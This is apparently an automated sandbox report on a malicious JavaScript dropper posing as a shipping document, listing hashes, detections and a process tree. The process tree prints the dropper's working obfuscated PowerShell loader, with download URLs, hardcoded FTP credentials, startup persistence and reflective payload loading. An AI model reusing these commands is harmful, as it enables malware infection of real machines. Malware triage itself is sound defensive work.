Overview

overview

10

Static

static

1

awb_shippi...pdf.js

windows7-x64

10

awb_shippi...pdf.js

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-10-2024 08:00

Sharing

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General

  • Target

    awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js

  • Size

    120KB

  • MD5

    eb782feae7eeb73bcc5976e0cddb0ec3

  • SHA1

    fe5d2b6873f3a39579faabf4711599b480c4581e

  • SHA256

    8e3e8c8c3d07894e248403085805acf867292cf7737392b3b9b2556e50ff8478

  • SHA512

    2e3612042911da5c570417af86ff47472ec58453ccb1d9c03b9bb9b5f5326124ecb0bd5bcb963480dfac171c3ae9820b8f9cfbddb601d9352a3ac18340dc3de6

  • SSDEEP

    1536:5dgBlOFpdq7MkzYWELraVId79UuxMoMxMUOIVSq41M2tNsbKEfZ1nzos:+YFp0w2

Score
10/10
discoveryexecution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js
    1⤵
    • System Network Configuration Discovery: Internet Connection Discovery
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + 'KAHcAcg' + [char]66 + '' + [char]66 + 'AEwAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQASg' + [char]66 + '3AHIAQQ' + [char]66 + 'MACAAKQAgAHsAJA' + [char]66 + '1AFYASA' + [char]66 + 'yAFQAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAHUAVg' + [char]66 + 'IAHIAVAAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAHEAaA' + [char]66 + 'wAHgAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAag' + [char]66 + '3AEUAbQ' + [char]66 + 'yACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAag' + [char]66 + '3AEUAbQ' + [char]66 + 'yACAAKQAgAHsAJA' + [char]66 + 'qAHEAaA' + [char]66 + 'wAHgAIAA9ACAAKAAkAGoAcQ' + [char]66 + 'oAHAAeAAgACsAIAAnADEATg' + [char]66 + 'hAHEAZA' + [char]66 + 'OAFgAaQ' + [char]66 + 'HAHYASQ' + [char]66 + 'fAHEAMQ' + [char]66 + 'SAFAAaw' + [char]66 + 'hAHoARg' + [char]66 + '0AE0AeQ' + [char]66 + 'nAG0AYQ' + [char]66 + 'xAFQASg' + [char]66 + 'YAHUANAAyACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAcQ' + [char]66 + 'oAHAAeAAgAD0AIAAoACQAag' + [char]66 + 'xAGgAcA' + [char]66 + '4ACAAKwAgACcAMQ' + [char]66 + 'nADEAag' + [char]66 + 'tAFgAdQ' + [char]66 + 'zAFgAOQ' + [char]66 + 'tAGMAOQ' + [char]66 + 'WAG0AaA' + [char]66 + 'WAHIASg' + [char]66 + 'KADIAWA' + [char]66 + 'vAGYAWgAzAGEASw' + [char]66 + 'fAGMATA' + [char]66 + 'PAHQAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'qAHEAaA' + [char]66 + 'wAHgAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'qAHEAaA' + [char]66 + 'wAHgALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'qAHEAaA' + [char]66 + 'wAHgALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAVQ' + [char]66 + 'SAEwASw' + [char]66 + 'CACwAIAAkAHUAVg' + [char]66 + 'IAHIAVAAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApACAAOwAkAE0AWQ' + [char]66 + 'uAEsAWgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'SAGkAVw' + [char]66 + 'jAEcAIAA9ACAAKAAgACQAdQ' + [char]66 + 'WAEgAcg' + [char]66 + 'UACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'SAGkAVw' + [char]66 + 'jAEcAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQATQ' + [char]66 + 'ZAG4ASw' + [char]66 + 'aACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ADsAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAHIAdg' + [char]66 + 'pAGMAZQ' + [char]66 + 'QAG8AaQ' + [char]66 + 'uAHQATQ' + [char]66 + 'hAG4AYQ' + [char]66 + 'nAGUAcg' + [char]66 + 'dADoAOg' + [char]66 + 'TAGUAYw' + [char]66 + '1AHIAaQ' + [char]66 + '0AHkAUA' + [char]66 + 'yAG8AdA' + [char]66 + 'vAGMAbw' + [char]66 + 'sACAAPQAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'OAGUAdAAuAFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAVA' + [char]66 + '5AHAAZQ' + [char]66 + 'dADoAOg' + [char]66 + 'UAGwAcwAxADIAOwAkAHMAbg' + [char]66 + 'xAG4AbQAgAD0AIAAoAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACkAOwAkAHMAbg' + [char]66 + 'xAG4AbQAuAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAD0AIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AVA' + [char]66 + 'lAHgAdAAuAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZw' + [char]66 + 'dADoAOg' + [char]66 + 'VAFQARgA4ADsAJA' + [char]66 + 'zAG4AcQ' + [char]66 + 'uAG0ALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAsACcAZA' + [char]66 + 'lAHYAZQ' + [char]66 + 'sAG8AcA' + [char]66 + 'lAHIAcA' + [char]66 + 'yAG8AMgAxADUANwA4AEoAcA' + [char]66 + 'AAEAAJwApADsAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcAIAA9ACAAJA' + [char]66 + 'zAG4AcQ' + [char]66 + 'uAG0ALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQAUw' + [char]66 + '0AHIAaQ' + [char]66 + 'uAGcAKAAgACcAZg' + [char]66 + '0AHAAOgAvAC8AZA' + [char]66 + 'lAHMAYw' + [char]66 + 'rAHYAYg' + [char]66 + 'yAGEAdAAxAEAAZg' + [char]66 + '0AHAALg' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0AC4AYw' + [char]66 + 'vAG0ALg' + [char]66 + 'iAHIALw' + [char]66 + 'VAHAAYw' + [char]66 + 'yAHkAcA' + [char]66 + '0AGUAcgAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'zAG4AcQ' + [char]66 + 'uAG0ALg' + [char]66 + 'kAGkAcw' + [char]66 + 'wAG8Acw' + [char]66 + 'lACgAKQA7ACQAcw' + [char]66 + 'uAHEAbg' + [char]66 + 'tACAAPQAgACgATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAKQA7ACQAcw' + [char]66 + 'uAHEAbg' + [char]66 + 'tAC4ARQ' + [char]66 + 'uAGMAbw' + [char]66 + 'kAGkAbg' + [char]66 + 'nACAAPQAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'UAGUAeA' + [char]66 + '0AC4ARQ' + [char]66 + 'uAGMAbw' + [char]66 + 'kAGkAbg' + [char]66 + 'nAF0AOgA6AFUAVA' + [char]66 + 'GADgAOwAkAGMAaw' + [char]66 + 'RAFAAVwAgAD0AIAAkAHMAbg' + [char]66 + 'xAG4AbQAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcAIAApADsAWw' + [char]66 + 'CAHkAdA' + [char]66 + 'lAFsAXQ' + [char]66 + 'dACAAJA' + [char]66 + 'kAEMAaQ' + [char]66 + 'XAHoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEMAbw' + [char]66 + 'uAHYAZQ' + [char]66 + 'yAHQAXQA6ADoARg' + [char]66 + 'yAG8AbQ' + [char]66 + 'CAGEAcw' + [char]66 + 'lADYANA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'jAGsAUQ' + [char]66 + 'QAFcALg' + [char]66 + 'SAGUAcA' + [char]66 + 'sAGEAYw' + [char]66 + 'lACgAIAAnAJMhOgCTIScAIAAsACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAApACAAKQA7AFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAG8AbQ' + [char]66 + 'hAGkAbg' + [char]66 + 'dADoAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'kAEMAaQ' + [char]66 + 'XAHoAIAApAC4ARw' + [char]66 + 'lAHQAVA' + [char]66 + '5AHAAZQAoACAAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAgACkALg' + [char]66 + 'HAGUAdA' + [char]66 + 'NAGUAdA' + [char]66 + 'oAG8AZAAoACAAJw' + [char]66 + 'wAHIARg' + [char]66 + 'WAEkAJwAgACkALg' + [char]66 + 'JAG4Adg' + [char]66 + 'vAGsAZQAoACQAbg' + [char]66 + '1AGwAbAAsACAAWw' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdA' + [char]66 + 'bAF0AXQAgACgAIAAnAHQAeA' + [char]66 + '0AC4AWQ' + [char]66 + 'IAFQATA' + [char]66 + '' + [char]66 + 'AEUAVwAvAGUAdA' + [char]66 + 'hAGQAcA' + [char]66 + '1AC8Abw' + [char]66 + 'yAC4AaQ' + [char]66 + 'uAGEAYw' + [char]66 + 'zAGEAcA' + [char]66 + 'mAGMAbA' + [char]66 + 'hAHQAaQ' + [char]66 + 'wAHMALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAIAAsACAAJwAlAEQAQw' + [char]66 + 'QAEoAVQAlACcALAAgACcARg' + [char]66 + 'hAGwAcw' + [char]66 + 'lADEAJwAgACkAIAApADsAfQA7AA==';$jPhaA = $jPhaA.replace('革','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js') ;powershell $jPhaA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$JwrAL = $host.Version.Major.Equals(2);If ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ($uVHrT + '\Upwin.msu');$jqhpx = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $jwEmr ) {$jqhpx = ($jqhpx + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$jqhpx = ($jqhpx + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$jqhpx = ( New-Object Net.WebClient ) ;$jqhpx.Encoding = [System.Text.Encoding]::UTF8 ;$jqhpx.DownloadFile($URLKB, $uVHrT + '\Upwin.msu') ;$MYnKZ = ( 'C:\Users\' + [Environment]::UserName );RiWcG = ( $uVHrT + '\Upwin.msu' ) ; powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$snqnm = (New-Object Net.WebClient);$snqnm.Encoding = [System.Text.Encoding]::UTF8;$snqnm.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$ckQPW = $snqnm.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$snqnm.dispose();$snqnm = (New-Object Net.WebClient);$snqnm.Encoding = [System.Text.Encoding]::UTF8;$ckQPW = $snqnm.DownloadString( $ckQPW );[Byte[]] $dCiWz = [System.Convert]::FromBase64String( $ckQPW.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $dCiWz ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( 'txt.YHTLAEW/etadpu/or.inacsapfclatips//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js', 'False1' ) );};"
        3⤵
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2712
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2672
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2884

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    6de42aafa48f0942c5989427f721d3e8

    SHA1

    a073c6130b70970c13c0733a32ccb5bef4f22475

    SHA256

    4d47dcc50ea2d15819f41f60de4476e2b7750100aa08d3488b7050c474411734

    SHA512

    2eeee73284c5965cd4ad0bf16d50eef7a560bdba2260dd914fb3327d8ebbfde5555ee97eb85f571fc7632f82490ce7c9e9a0367ab8a336b63acfe934ddc120e3

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  • memory/1048-4-0x000007FEF615E000-0x000007FEF615F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1048-5-0x000000001B630000-0x000000001B912000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/1048-6-0x00000000027F0000-0x00000000027F8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1048-12-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1048-13-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1048-26-0x000007FEF615E000-0x000007FEF615F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1048-27-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download